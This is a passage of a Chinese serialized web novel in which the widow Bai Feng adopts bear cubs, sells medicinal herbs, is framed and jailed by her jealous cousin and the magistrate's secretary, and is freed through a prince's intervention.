师爷擦了擦额头的汗:“白姑娘,我这边公务繁忙,要不改天?” 白凤盯着他:“师爷是不是怕了?” 师爷愣了一下,干笑两声:“白姑娘说笑了,我怕什么?” “怕徽臻王。”白凤说,“那天黑甲侍卫来找我,师爷应该听说了吧?” 师爷脸上的笑容僵住了。 白凤叹了口气:“师爷放心,我不会连累你的。只是想问问,要是徽臻王真的来了,县令会不会帮我?” 师爷沉默了半晌,摇摇头:“白姑娘,实话跟你说,徽臻王要是真来了,别说县令,就是知府也不敢拦。” 白凤心里一沉。 师爷又说:“白姑娘,我劝你还是别跟王爷对着干。你一个妇道人家,斗不过他的。” 白凤冷笑:“所以师爷的意思是,让我乖乖跟他回京?” “我不是这个意思。”师爷连忙摆手,“只是……唉,白姑娘,你自己保重吧。” 白凤转身离开县衙,心里憋着一股火。 回到家,舅妈正在院子里晒衣服。看见白凤回来,舅妈眼神闪烁,欲言又止。 “舅妈有话要”白凤问。 舅妈犹豫了一下,凑过来小声说:“凤丫头,我听说那个黑甲侍卫又来了?” “嗯。” 舅妈脸色发白:“那……那王爷会不会来?” 白凤看着她:“舅妈怕什么?” “我……我不是怕。”舅妈结结巴巴,“就是担心你。你说你要是真跟王爷回京了,豆豆怎么办?” 白凤冷冷地看着她:“舅妈是担心我,还是担心自己?” 舅妈脸一红:“你这孩子,说什么呢?” “我知道舅妈在想什么。”白凤说,“舅妈怕我仗着生了王爷的孩子,回头来报复你们。” 舅妈被戳中心事,脸色一阵青一阵白:“我……我没有……” “有没有,舅妈自己心里清楚。”白凤转身进屋,“我告诉舅妈,我不会回京,也不会报复你们。但要是舅妈再跟沈冬梅那些人搅和在一起,就别怪我不客气。” 舅妈站在原地,脸色难看得很。 接下来几天,白凤哪儿也没去,就在家里琢磨怎么弄钱。 童氏虽然被罚了银子,但那点钱根本不够。她得想办法多赚点,万一真要跑路,也得有本钱。 白凤想起上次在山里采的草药,那些东西在镇上卖不出好价钱,要是拿到郡城去呢? 说干就干。 第二天天还没亮,白凤就背着背篓上山了。 乐乐和来财跟在她身后,福球趴在她肩上。豆豆还在睡觉,白凤把他托付给了舅妈。 山里的草药不少,但珍贵的不多。白凤在山里转了大半天,才找到几株人参和灵芝。 她正准备下山,突然听见远处传来一阵怪响。 乐乐竖起耳朵,朝那边叫了几声。 白凤心里一动,难道是什么好东西? 她跟着乐乐走过去,穿过一片密林,眼前出现了一条山沟。 山沟里有一座破旧的磨房,看起来已经荒废很久了。 白凤正要靠近,福球突然在她肩上叫了起来。 她抬头一看,磨房旁边的树上,挂着一个巨大的蜂窝。 白凤倒吸一口凉气。这蜂窝少说有脸盆那么大,里面的蜜蜂密密麻麻,看着就让人头皮发麻。 不过蜂蜜可是好东西,要是能弄到手,肯定能卖个好价钱。 白凤琢磨了一下,决定先回去准备准备,改天再来。 她刚转身,突然听见身后传来一阵沉重的脚步声。 白凤回头一看,整个人都僵住了。 一头黑熊正从磨房里走出来,足有两米多高,浑身的毛黑得发亮。 黑熊看见白凤,停下脚步,鼻子抽动了几下。 白凤的心跳得飞快。她知道黑熊的嗅觉灵敏,要是被它盯上,自己肯定跑不掉。 乐乐和来财已经炸毛了,龇着牙朝黑熊低吼。 黑熊晃了晃脑袋,突然朝白凤冲了过来。 白凤吓得腿都软了,但她强迫自己冷静下来,抓起背篓里的草药朝黑熊扔过去。 黑熊被草药砸中,停了一下,但很快又继续冲过来。 就在这时,乐乐和来财一起扑了上去,咬住黑熊的后腿。 黑熊吃痛,转身去拍乐乐。 白凤趁机往后退,但脚下一滑,整个人摔倒在地。 黑熊甩开乐乐,再次朝白凤扑来。 白凤闭上眼睛,心想这次完了。 就在这时,一道黑影从树上跳下来,挡在白凤面前。 是那个黑甲侍卫。 黑甲侍卫拔出长刀,一刀砍在黑熊的爪子上。 黑熊吃痛,怒吼一声,朝黑甲侍卫扑去。 黑甲侍卫身形一闪,避开黑熊的攻击,反手又是一刀。 黑熊被砍中肩膀,鲜血直流,但它并没有退缩,反而更加凶猛。 黑甲侍卫和黑熊缠斗了好一会儿,终于找到机会,一刀刺进黑熊的心脏。 黑熊倒在地上,抽搐了几下,不动了。 白凤坐在地上,大口大口地喘气。 黑甲侍卫收起刀,转身看着她:“白姑娘没事吧?” 白凤咬着牙站起来:“你怎么在这儿?” “王爷让我暗中保护白姑娘。”黑甲侍卫说。 白凤冷笑:“保护?还是监视?” 黑甲侍卫没有说话。 白凤看了看地上的黑熊,突然想起什么,走到磨房旁边。 磨房里面黑漆漆的,但隐约能看见角落里有几个毛茸茸的东西。 白凤走近一看,是三只小熊崽。 小熊崽还没睁眼,挤在一起,发出细细的叫声。 白凤心里一动。 黑甲侍卫走过来:“白姑娘想带走它们?” “不行吗?”白凤反问。 黑甲侍卫沉默了一下:“黑熊凶猛,不好驯养。” “我有办法。”白凤说着,伸手抱起一只小熊崽。 第159章 剩下的两只怎么办? 小熊崽在她怀里扭动,发出呜呜的声音。 白凤轻轻拍了拍它,小熊崽渐渐安静下来。 她又看了看另外两只,最后只带走了一只。 “剩下的两只怎么办?”黑甲侍卫问。 “留在这儿。”白凤说,“说不定还有别的母熊会来照顾它们。” 黑甲侍卫没再说什么。 白凤抱着小熊崽下山,乐乐和来财跟在她身后,福球趴在她肩上,好奇地看着小熊崽。 回到家,舅妈看见小熊崽,吓得差点晕过去。 “凤丫头,你……你从哪儿弄来的?”舅妈结结巴巴。 “山里捡的。”白凤说,“舅妈别怕,它还小,不咬人。” 舅妈哪里敢信,躲得远远的。 豆豆倒是胆子大,凑过来摸了摸小熊崽:“娘,它好可爱!” 白凤笑了笑,把小熊崽放在院子里。 小熊崽在地上爬来爬去,乐乐和来财围着它转,福球也飞下来,落在它背上。 白凤看着这一幕,心里暖洋洋的。 有了这只小熊崽,以后再遇到危险,也多了一份保障。 小熊崽在白凤家住下了。 白凤给它取名叫“黑蛋”,因为它浑身黑得跟煤球似的。 黑蛋刚来的时候还不太适应,总是呜呜叫。白凤就用羊奶喂它,还给它做了个窝。 几天下来,黑蛋跟白凤亲近了不少,每次看见她就摇头晃脑地凑过来。 豆豆更是喜欢得不行,天天抱着黑蛋玩。 舅妈倒是怕得要死,每次看见黑蛋就绕着走。 这天,白凤背着背篓准备去郡城卖草药。 镇上的赤脚郎中死了之后,就没人收草药了。白凤琢磨着,与其在镇上卖不出好价钱,不如直接去郡城。 她把豆豆托付给舅妈,带着乐乐和来财出门了。福球趴在她肩上,黑蛋还太小,只能留在家里。 郡城离镇上有二十多里路,白凤走了大半天才到。 郡城比镇上热闹多了,街上人来人往,各种叫卖声此起彼伏。 白凤找到药铺,把草药拿出来。 掌柜的是个五十来岁的老头,戴着老花镜,仔细看了看草药,眼睛一亮:“这人参品相不错,灵芝也是上品。姑娘,这些东西你从哪儿弄来的?” “山里采的。”白凤说。 掌柜的点点头:“这样吧,人参我给你五两银子,灵芝三两,其他的草药一共二两,总共十两银子。” 白凤心里一喜。十两银子可不是小数目,够她和豆豆吃好几个月了。 她正要答应,突然听见外面传来一阵喧哗。 “抢钱了!抢钱了!” 白凤心里一紧,连忙跑出去。 只见街上乱成一团,几个地痞模样的人正在抢一个老妇人的钱袋。 老妇人哭喊着,但周围的人都不敢上前。 白凤皱起眉头。她最看不惯这种欺负弱小的人。 她正要上前,突然看见那几个地痞朝她这边走来。 “哟,这小娘子长得不错啊。”其中一个地痞笑嘻嘻地说。 白凤冷着脸:“让开。” “让开?凭什么?”地痞伸手去抓白凤的背篓,“把东西留下,我们就让你走。” 白凤往后退了一步,乐乐和来财已经龇起了牙。 地痞看见两只狗,愣了一下,但很快又笑了:“两只破狗也敢吓唬我?” 他说着,一脚朝乐乐踢去。 乐乐身形一闪,避开了。来财趁机扑上去,一口咬在地痞的腿上。 地痞惨叫一声,抬手就要打来财。 就在这时,一道黑影从屋顶跳下来,一脚踢在地痞身上。 地痞被踢飞出去,重重摔在地上。 其他几个地痞看见同伴被打,纷纷掏出刀子。 黑甲侍卫拔出长刀,冷冷地看着他们:“滚。” 几个地痞对视一眼,灰溜溜地跑了。 周围的人纷纷鼓掌,老妇人更是千恩万谢。 白凤看着黑甲侍卫,心情复杂。 黑甲侍卫收起刀:“白姑娘没事吧?” “没事。”白凤顿了顿,“谢谢你。” 黑甲侍卫摇摇头:“这是我的职责。” 白凤没再说什么,转身回到药铺。 掌柜的已经把银子准备好了,递给白凤:“姑娘,下次要是还有这种好货,尽管拿来。” 白凤接过银子,点点头。 她走出药铺,在郡城里转了一圈,买了些米面和布料,又给豆豆买了几块糕点。 回到镇上的时候,天已经黑了。 白凤推开院门,看见豆豆正在院子里玩。黑蛋趴在他脚边,乐乐和来财守在旁边。 “娘!”豆豆看见白凤,高兴地跑过来。 白凤摸了摸他的头,把糕点拿出来:“给你买的。” 豆豆接过糕点,眼睛都亮了。 舅妈从屋里走出来,看见白凤手里的东西,眼神闪烁:“凤丫头,你这是发财了?” “卖了些草药。”白凤说。 舅妈凑过来:“卖了多少?” 白凤没理她,转身进屋。 舅妈站在原地,脸色有些难看。 晚上,白凤坐在屋里,数着银子。 十两银子虽然不少,但要是想换个大点的房子,还远远不够。 她想了想,决定再去山里采些草药。 这次她要找更珍贵的,比如何首乌、雪莲之类的。 第二天一早,白凤又上山了。 这次她走得更远,一直走到山的深处。 山里的树木越来越密,光线也越来越暗。 白凤正在找草药,突然听见身后传来一阵脚步声。 她回头一看,是赤脚郎中。 赤脚郎中看见白凤,眼睛一亮:“白姑娘,你也来采药?” 白凤点点头,心里却有些警惕。 赤脚郎中这人她知道,贪财好色,不是什么好东西。 “白姑娘,你运气真好,总能找到好药材。”赤脚郎中笑嘻嘻地说,“要不咱们一起?我帮你找,你分我一半?” 白凤冷着脸:“不用。” 赤脚郎中脸色一僵,但很快又笑了:“白姑娘别这么绝情嘛,大家都是乡里乡亲的。” 白凤没理他,转身继续往前走。 赤脚郎中站在原地,眼神阴沉。 他跟了白凤一路,看着她采了不少珍贵的草药,心里越来越眼红。 白凤采完草药,准备下山。 赤脚郎中突然从树后跳出来,拦住她的去路:“白姑娘,把草药留下。” 白凤冷笑:“你想抢?” “不是抢,是借。”赤脚郎中说,“你一个妇道人家,要这么多草药干什么?不如给我,我给你分成。” 白凤懒得跟他废话,转身就走。 赤脚郎中伸手去抓她的背篓,乐乐和来财立刻扑上去。 赤脚郎中被咬了一口,惨叫一声,松开手。 白凤趁机跑开,但赤脚郎中不甘心,追了上来。 两人一追一逃,不知不觉就跑到了磨房沟。 白凤停下脚步,回头看着赤脚郎中:“你再跟着我,别怪我不客气。” 第160章 整个人都僵住了 白凤停下脚步,回头看着赤脚郎中:“你再跟着我,别怪我不客气。” 赤脚郎中喘着粗气:“白姑娘,你就这么狠心?我只是想讨口饭吃。” 白凤冷笑:“讨饭吃?你是想不劳而获吧?” 赤脚郎中脸色一变,正要说话,突然听见身后传来一阵沉重的脚步声。 他回头一看,整个人都僵住了。 一头黑熊正从磨房里走出来,足有两米多高。 赤脚郎中吓得腿都软了,转身就跑。 但黑熊的速度更快,几步就追上了他。 赤脚郎中惨叫一声,被黑熊一爪子拍倒在地。 黑熊张开大嘴,咬住他的脖子。 赤脚郎中挣扎了几下,很快就不动了。 白凤站在远处,看着这一幕,心里五味杂陈。 她没想到赤脚郎中会死在这儿,但也不觉得可惜。 这人贪心不足,死了也是活该。 黑熊吃饱了,晃晃悠悠地走回磨房。 白凤等黑熊走远了,才小心翼翼地靠近磨房。 她记得上次在这儿拿走了一只小熊崽,不知道剩下的两只还在不在。 她走进磨房,发现角落里只剩下一只小熊崽了。 另一只不知道去哪儿了,可能是被别的动物叼走了。 白凤看着这只小熊崽,心里一动。 既然黑蛋养得不错,再养一只也无妨。 她伸手抱起小熊崽,小熊崽在她怀里扭动,发出呜呜的声音。 白凤轻轻拍了拍它,小熊崽渐渐安静下来。 她抱着小熊崽下山,心里盘算着,有了两只黑熊,以后再遇到危险,就更有保障了。 白凤抱着小熊崽回到家,豆豆看见又多了一只,高兴得不行。 “娘,这只也是你捡的吗?”豆豆问。 “嗯。”白凤把小熊崽放在院子里,“这只叫黑妞,是黑蛋的妹妹。” 黑蛋看见黑妞,凑过去闻了闻,然后两只小熊崽就滚在一起玩了起来。 乐乐和来财围着它们转,福球也飞下来,落在黑妞背上。 舅妈站在门口,脸色发白:“凤丫头,你……你怎么又弄回来一只?” “多一只多一份保障。”白凤说。 舅妈张了张嘴,想说什么,但最后还是没说出来。 接下来几天,白凤都在家里照顾两只小熊崽。 黑蛋和黑妞长得很快,没几天就能满院子跑了。 豆豆天天跟它们玩,乐乐和来财也跟它们混得很熟。 镇上的人听说白凤家养了两只黑熊,都觉得她疯了。 王婆子更是到处说白凤的坏话,说她养这些东西迟早要出事。 这天,王婆子带着几个妇人来到白凤家门口。 “白凤,你出来!”王婆子拍着门喊。 白凤打开门,冷着脸:“王婆子,你又想干什么?” “我是为了大家好。”王婆子说,“你养这些东西,万一伤了人怎么办?” “它们不会伤人。”白凤说。 “不会伤人?”王婆子冷笑,“我家孙子昨天路过你家门口,差点被你家的狗咬了!” 白凤皱起眉头:“你家孙子干什么了?” “他就是好奇,想看看你家的熊。”王婆子说,“结果你家的狗就扑上来了。” 白凤冷笑:“王婆子,你家孙子什么德行,镇上谁不知道?他肯定是想偷我家的东西,才被狗咬的。” 王婆子脸色一变:“你胡说!” “我有没有胡说,你自己心里清楚。”白凤说,“王婆子,我劝你少管闲事,不然别怪我不客气。” 王婆子气得直跺脚,但也拿白凤没办法。 她转身离开,但心里却憋着一股火。 回到家,王婆子越想越气,决定去找舅妈。 舅妈正在院子里洗衣服,看见王婆子来了,连忙站起来:“王婆子,你怎么来了?” “我是来跟你说说你外甥女的事。”王婆子说,“她养那些东西,迟早要出大事。你得劝劝她。” 舅妈为难地说:“我劝过了,但她不听。” “不听?”王婆子冷笑,“那就让镇上的人一起去找她,把她赶出去!” 舅妈吓了一跳:“这……这不好吧?” “有什么不好的?”王婆子说,“她养那些东西,就是在害大家。要是真伤了人,你担得起责任吗?” 舅妈犹豫了一下,最后还是点了点头。 第二天,王婆子带着一群人来到白凤家门口。 “白凤,你出来!”王婆子喊。 白凤打开门,看见门外乌泱泱一群人,心里一沉。 “王婆子,你这是干什么?”白凤问。 “我们是来劝你的。”王婆子说,“你养那些东西太危险了,必须处理掉。” “凭什么?”白凤冷着脸。 “凭你养的东西会伤人!”王婆子说,“昨天我家孙子就被你家的狗咬了,今天又有人说看见你家的熊在院子里乱跑。万一跑出来伤了人,你赔得起吗?” 白凤冷笑:“你家孙子是想偷东西才被咬的,至于熊,它们还小,根本跑不出去。” “谁知道以后会不会跑出去?”王婆子说,“白凤,我劝你识相点,把那些东西处理掉,不然我们就去找里正,让他把你赶出镇子!” 白凤正要说话,突然听见身后传来一个声音:“谁敢赶她?” 众人回头一看,是舅舅。 舅舅刚从外地回来,风尘仆仆的,脸上满是疲惫。 “大哥,你回来了?”舅妈连忙迎上去。 舅舅没理她,走到白凤面前:“凤丫头,怎么回事?” 白凤把事情说了一遍。 舅舅听完,转身看着王婆子:“王婆子,你家孙子什么德行,镇上谁不知道?他偷东西被狗咬,活该!” 王婆子脸色一变:“大哥,你这是什么意思?” “我的意思是,凤丫头没做错什么。”舅舅说,“她养那些东西是为了保护自己,有什么不对?” “可是……”王婆子还想说什么,但被舅舅打断了。 “没什么可是的。”舅舅说,“凤丫头是我外甥女,我不会让任何人欺负她。谁要是敢赶她走,就先过我这一关!” 王婆子看着舅舅,知道今天讨不到便宜,只好灰溜溜地走了。 其他人也纷纷散去。 白凤看着舅舅,心里涌起一股暖意:“舅舅,谢谢你。” 舅舅摆摆手:“都是一家人,说什么谢。” 他顿了顿,又说:“凤丫头,你养那些东西确实有些危险,以后要小心点。” “我知道。”白凤点点头。 舅舅进屋休息去了,舅妈站在院子里,脸色复杂。 白凤看了她一眼,没说什么,转身回屋。 接下来几天,镇上倒是安静了不少。 第161章 能不能教教我家那只? 白凤这几日忙得脚不沾地。 县令判了童氏归还财物,镇上的风向彻底变了。以前那些指指点点的婆子们,现在见了她都笑脸相迎,还有人专门上门来打听她养的那些动物。 “白姑娘,听说你家那只鸡会抓老鼠?” “白姑娘,你那狗真通人性,能不能教教我家那只?” 白凤应付得头疼,但心里明白,这就是人情世故。你弱的时候,人人都能踩你一脚;你强了,个个都想来攀交情。 豆豆倒是高兴坏了。以前在镇上,总有小孩欺负他,说他娘不要脸。现在那些小孩都不敢了,还有人主动来找他玩。 “娘,今天李二狗说要跟我换糖葫芦吃!”豆豆兴冲冲地跑回来。 白凤正在院子里给来财梳毛,闻言笑了:“那你换了?” “没有。”豆豆摇头,“我说我娘给我做的糖葫芦最好吃,不换。” 白凤心里一暖,揉了揉他的脑袋。 福球在一旁“喵呜”了一声,爪子搭在白凤腿上,一副求关注的样子。乐乐趴在门槛上晒太阳,尾巴一甩一甩的,懒洋洋的。 日子过得平静,白凤却总觉得有什么事要发生。 果然,第三天,沈冬梅来了。 白凤正在院子里晾衣服,听见敲门声,开门一看,沈冬梅站在门外,脸色不太好看。 “表姐。”沈冬梅挤出一个笑。 白凤没接话,只是看着她。 沈冬梅咬了咬嘴唇:“表姐,我是来赔罪的。之前的事,是我不对,我不该听娘的话,说你那些闲话。” 白凤冷笑:“现在知道不对了?” “表姐,你就原谅我这一次吧。”沈冬梅眼圈红了,“我爹说了,要是你不原谅我,就打断我的腿。” 白凤心里冷笑。童氏那一家子,现在知道怕了?当初怎么不想想会有今天? “你走吧。”白凤说,“我不想见你。” “表姐!”沈冬梅急了,“你就不能看在我爹的面子上,原谅我一次?” “你爹?”白凤冷着脸,“你爹当年要是有点良心,我娘也不会被你娘气死。现在来跟我讲面子?晚了。” 沈冬梅脸色一白,张了张嘴,最后什么也没说,转身走了。 白凤关上门,心里却没有半点痛快。 这些人,永远都是这样。做错事的时候理直气壮,等到要付出代价了,才想起来求饶。 晚上,徐禄生来了。 “白姑娘,听说沈冬梅今天来找你了?”徐禄生问。 “嗯。”白凤点头,“来赔罪的。” “你没答应吧?”徐禄生说,“那一家子,不是什么好东西。” 白凤笑了:“徐大哥放心,我心里有数。” 徐禄生点点头,又说:“对了,我听说军营那边有个百夫长的妻子病了,到处找药,你要不要去看看?” 白凤一愣:“百夫长?” “对。”徐禄生说,“那百夫长姓李,叫李铁柱,是个直性子。他妻子得了怪病,镇上的大夫都看不好,他急得不行。” 白凤想了想:“我去看看。” 第二天,白凤带着豆豆去了军营。 李铁柱是个三十来岁的汉子,长得五大三粗,但说起妻子的病,眼圈都红了。 “白姑娘,求你救救我媳妇。”李铁柱说,“她要是有个三长两短,我也不活了。” 白凤看了看他妻子,又把了把脉,心里有了数。 “这病不难治。”白凤说,“但需要一味药,叫雪莲子,这东西不好找。” “雪莲子?”李铁柱一愣,“这东西我听说过,好像只有北边的雪山上才有。” “对。”白凤点头,“我记得镇上有个药铺,掌柜的祖上是走镖的,家里可能有存货。我去问问。” 李铁柱感激得不行:“白姑娘,你要是能救我媳妇,我李铁柱这条命就是你的!” 白凤摆摆手:“别说这些,救人要紧。” 她带着豆豆去了药铺,果然,掌柜的家里有雪莲子。不过价格不菲,要五十两银子。 白凤咬了咬牙,把这些年攒的银子都拿了出来。 掌柜的看她是个女人,还带着孩子,有些不忍:“白姑娘,这样吧,我给你便宜点,四十两。” 白凤道了谢,拿着药回了军营。 李铁柱的妻子吃了药,当天晚上就退了烧。第二天,人就能下床了。 李铁柱激动得不行,当场就要给白凤磕头。 “别别别。”白凤连忙扶住他,“李百夫长,你这是折煞我了。” “白姑娘,你就是我们家的救命恩人!”李铁柱说,“以后你有什么事,尽管来找我!” 白凤笑了笑,没说什么。 回家的路上,豆豆问:“娘,你为什么要帮他们?” 白凤想了想:“因为能帮。” 豆豆似懂非懂地点点头。 白凤心里却在想,这李铁柱是个好人,以后说不定能用得上。 果然,没过几天,事情就来了。 那天下午,白凤正在院子里给动物们喂食,突然听见外面一阵喧哗。 她走出去一看,县衙的差役围住了她家。 “白凤,县太爷有请!”为首的差役冷着脸说。 白凤心里一沉:“县太爷找我做什么?” “到了就知道了。”差役说,“跟我们走一趟吧。” 白凤看了看豆豆,又看了看院子里的动物们,心里有种不好的预感。 “我能不能先安顿好孩子?”白凤问。 “不行。”差役说,“县太爷说了,要立刻带你去。” 白凤咬了咬牙,只能跟着他们走。 豆豆吓得哭了起来:“娘!” “豆豆别怕。”白凤安慰他,“娘很快就回来。” 差役们把白凤带到县衙,县太爷坐在堂上,脸色阴沉。 “白凤,有人告你私藏禁药,意图谋害朝廷命官。”县太爷说。 白凤一愣:“什么禁药?我没有!” “还敢狡辩!”县太爷一拍惊堂木,“来人,去她家搜!” 白凤心里一慌。她家里确实有些药材,但都是正常的,怎么会是禁药? 差役们很快回来了,手里拿着一个布包。 “大人,在她家找到了这个。”差役打开布包,里面是一些黑色的药丸。 白凤看着那些药丸,脸色变了。 那不是她的东西! “大人,这不是我的!”白凤说,“有人陷害我!” “陷害?”县太爷冷笑,“这是从你家搜出来的,你还想抵赖?” 白凤心里乱成一团。到底是谁要害她? 就在这时,师爷走了过来,在县太爷耳边说了几句话。 县太爷点点头,看向白凤:“白凤,你私藏禁药,罪不可恕。来人,把她关进大牢!” “大人!”白凤急了,“我真的没有!你要相信我!” “相信你?”县太爷冷笑,“证据确凿,你还想狡辩?” 差役们上来,把白凤拖了下去。 白凤被关进大牢,心里又急又气。 她知道,这一定是有人在背后搞鬼。但是谁呢? 第162章 是你? 童氏?不像。童氏虽然可恶,但没这个胆子。 沈冬梅?也不像。沈冬梅虽然嫉妒她,但也没这个本事。 那会是谁? 白凤想了半天,突然想到了一个人——师爷。 刚才县太爷判她的时候,师爷在旁边说了什么,县太爷的态度就变了。 难道是师爷在搞鬼? 可是师爷为什么要害她?她跟师爷无冤无仇啊。 白凤想不通,只能先想办法出去。 豆豆还在家里,那些动物也没人照顾,她不能就这么被关着。 就在这时,牢房外传来一阵脚步声。 白凤抬头一看,来的人竟然是沈冬梅。 沈冬梅站在牢房外,脸上带着得意的笑。 “表姐,没想到吧?”沈冬梅说,“你也有今天。” 白凤心里一沉:“是你?” “对,是我。”沈冬梅笑了,“你以为你告倒了我娘,就能过上好日子了?做梦!” 白凤冷着脸:“你为什么要这么做?” “为什么?”沈冬梅冷笑,“因为我嫉妒你!凭什么你一个寡妇,日子过得比我还好?凭什么镇上的人都夸你?我不服!” 白凤看着她,突然觉得有些可笑。 “你不服?”白凤说,“那你就用这种下三滥的手段?” “下三滥?”沈冬梅冷笑,“只要能赢,什么手段都行。” 白凤摇摇头:“你会后悔的。” “后悔?”沈冬梅笑了,“我看后悔的是你。对了,忘了告诉你,我怀孕了。我相公是师爷,他说了,只要我想,你就永远别想出去。” 白凤心里一震。 原来如此。沈冬梅嫁给了师爷,难怪师爷要帮她。 “你以为你赢了?”白凤冷笑,“你太天真了。” “天真?”沈冬梅冷笑,“我看天真的是你。你以为你告倒了我娘,就能翻身了?做梦!这个世道,有权有势的人才能活得好。你一个寡妇,凭什么跟我斗?” 说完,沈冬梅转身离开了。 白凤坐在牢房里,心里却出奇地平静。 沈冬梅以为她赢了,但她不知道,白凤还有底牌。 李铁柱。 白凤救过李铁柱的妻子,李铁柱说过,以后有事尽管找他。 现在,就是用得上他的时候了。 牢房里又冷又潮,白凤靠着墙坐了一夜。 天刚亮,外面就传来动静。 “白姑娘!白姑娘!” 是徐禄生的声音。 白凤站起来,走到牢门边:“徐大哥?” “白姑娘,你怎么被抓了?”徐禄生急得不行,“豆豆哭了一夜,我把他接到我家了。” 白凤松了口气:“谢谢徐大哥。” “别说这些。”徐禄生说,“到底怎么回事?” 白凤把事情简单说了一遍。 徐禄生听完,脸色铁青:“这个沈冬梅,太歹毒了!” “徐大哥,你能帮我去军营找李铁柱吗?”白凤说,“就说我有事找他。” 徐禄生点点头:“我这就去。” 徐禄生走后,白凤又坐了回去。 她相信李铁柱会来,但不知道他能不能帮上忙。 毕竟,县太爷是朝廷命官,李铁柱只是个百夫长。 但白凤没有别的办法了。 中午的时候,牢房外又来了人。 这次来的是童氏。 童氏站在牢门外,脸上带着幸灾乐祸的笑。 “白凤,你也有今天啊。”童氏说,“当初你告我的时候,怎么没想到会有报应?” 白凤冷冷地看着她:“你来干什么?” “我来看看你。”童氏笑了,“看看你这个不要脸的寡妇,是怎么落到这个下场的。” 白凤懒得理她。 童氏见她不说话,更得意了:“你以为你告倒了我,就能翻身了?做梦!我女儿现在是师爷夫人,你斗不过她的。” 白凤还是不说话。 童氏骂了一会儿,见白凤没反应,觉得没意思,转身走了。 白凤坐在牢房里,心里却在想别的事。 沈冬梅怀孕了,这是她的把柄。 师爷帮沈冬梅,是因为孩子。但如果师爷知道,沈冬梅肚子里的孩子不是他的呢? 白凤想到这里,嘴角勾起一个弧度。 她记得,沈冬梅嫁给师爷之前,跟镇上的一个屠户走得很近。 如果能查出来,沈冬梅肚子里的孩子是屠户的,师爷还会帮她吗? 白凤心里有了主意。 下午,李铁柱来了。 他站在牢门外,脸色难看:“白姑娘,到底怎么回事?” 白凤把事情说了一遍。 李铁柱听完,气得直跺脚:“这个县太爷,太过分了!” “李百夫长,你能帮我吗?”白凤问。 “能!”李铁柱说,“你救了我媳妇,我就算拼了这条命,也要救你出去!” 白凤摇摇头:“不用拼命,我有办法。” “什么办法?”李铁柱问。 白凤把自己的计划说了一遍。 李铁柱听完,眼睛一亮:“好办法!我这就去办!” 李铁柱走后,白凤又坐了回去。 她知道,这一次,沈冬梅输定了。 晚上,县衙突然来了一队人马。 为首的是个年轻将领,穿着黑色铠甲,腰间挂着长剑。 白凤一看,心里一沉。 是尉迟深。 尉迟深走进县衙,县太爷连忙迎了出来。 “王爷,您怎么来了?”县太爷陪着笑脸。 “本王听说,你抓了一个女人?”尉迟深冷着脸说。 “是,是。”县太爷点头,“那女人私藏禁药,罪不可恕。” “禁药?”尉迟深冷笑,“什么禁药?” 县太爷让人把那些黑色药丸拿了出来。 尉迟深看了一眼,冷笑:“这是军中常用的止血药,什么时候成了禁药?” 县太爷脸色一变:“这……” “你是不是收了什么人的好处?”尉迟深冷着脸说,“故意陷害她?” 县太爷额头冒汗:“王爷,小人冤枉啊!” “冤枉?”尉迟深冷笑,“那你说说,这药是从哪里来的?” 县太爷张了张嘴,说不出话来。 尉迟深也不废话,直接让人把白凤放了出来。 白凤走出牢房,看见尉迟深,心里五味杂陈。 “多谢王爷。”白凤说。 “不用谢。”尉迟深说,“李铁柱来找本王,说你被冤枉了。本王查了一下,果然有人在背后搞鬼。” 白凤点点头:“是师爷。” “本王知道。”尉迟深说,“师爷已经跑了,不过本王会派人去抓他。” 白凤心里一松。 师爷跑了,沈冬梅就没有靠山了。 “王爷,我还有一件事要请你帮忙。”白凤说。 “什么事?”尉迟深问。 白凤把沈冬梅的事说了一遍。 尉迟深听完,冷笑:“这个女人,胆子不小。” “王爷能帮我吗?”白凤问。 “能。”尉迟深说,“本王会派人去查。” 白凤道了谢,转身离开了县衙。 回到家,豆豆扑了过来:“娘!” 白凤抱住他,眼圈红了:“豆豆,娘回来了。” 第163章 什么条件? 豆豆哭得稀里哗啦:“娘,我以为你不要我了。” “傻孩子。”白凤摸了摸他的头,“娘怎么会不要你?” 乐乐、来财、福球都围了过来,在白凤脚边蹭来蹭去。 白凤看着这一家子,心里暖洋洋的。 第二天,尉迟深派人来了。 “白姑娘,王爷让我告诉你,沈冬梅肚子里的孩子,确实不是师爷的。”来人说,“是镇上屠户的。” 白凤心里一松:“多谢王爷。” “王爷还说了,县太爷收了师爷的好处,故意陷害你,已经被革职查办了。”来人说。 白凤点点头。 县太爷完蛋了,师爷逃亡了,沈冬梅也完了。 这一次,她赢了。 下午,童氏带着一家人来了。 童氏跪在白凤面前,哭得稀里哗啦:“白凤,求你放过我们吧。” 白凤冷冷地看着她:“现在知道求我了?” “白凤,我知道错了。”童氏哭着说,“求你看在你舅舅的面子上,放过我们吧。” 白凤看了看童氏身后的舅舅。 舅舅低着头,脸色难看。 “舅舅,你说呢?”白凤问。 舅舅抬起头,叹了口气:“白凤,我知道这些年,你娘和你受了很多委屈。但你舅母她……她也是一时糊涂。你就看在我的面子上,放过她吧。” 白凤沉默了一会儿,说:“我可以放过你们,但有个条件。” “什么条件?”舅舅问。 “把我家的祖产还给我。”白凤说。 舅舅脸色一变:“祖产?” “对。”白凤说,“当年我爹去世后,祖产被你们占了。现在,我要拿回来。” 舅舅张了张嘴,最后点了点头:“好,我答应你。” 白凤满意地点点头。 几天后,祖产的地契送了过来。 白凤看着地契,心里松了口气。 她终于拿回了属于自己的东西。 白凤决定,把现在住的房子改成专门养动物的地方。 镇上有很多被弃养的动物,她可以把它们都收留过来。 说干就干,白凤开始改造房子。 她把院子扩大了一倍,又搭了几个棚子,专门给不同的动物住。 很快,院子里就热闹起来了。 除了乐乐、来财、福球,还来了几只流浪狗、几只流浪猫,甚至还有一只受伤的野兔。 这些动物彼此之间语言不通,经常发生误会。 有一次,一只流浪狗看见福球在吃鱼,以为福球要抢它的食物,就冲过去吼了一声。 福球吓了一跳,爪子一挥,在狗鼻子上挠了一道。 流浪狗疼得嗷嗷叫,转身就跑。 白凤看得哭笑不得。 还有一次,野兔看见来财在院子里跑,以为来财要追它,吓得躲进了棚子里。 来财莫名其妙,不知道野兔为什么怕它。 白凤只能一个一个地安抚它们。 “你们都是一家人,不要打架。”白凤说。 动物们听不懂,但看白凤的表情,也知道她在说什么。 慢慢地,它们之间的关系缓和了一些。 豆豆也很喜欢这些动物,每天放学回来,第一件事就是去看它们。 “娘,这只狗好可爱!”豆豆抱着一只小狗说。 “喜欢就多陪陪它。”白凤笑着说。 日子过得平静而充实。 但白凤知道,这种平静不会持续太久。 尉迟深还在镇上。 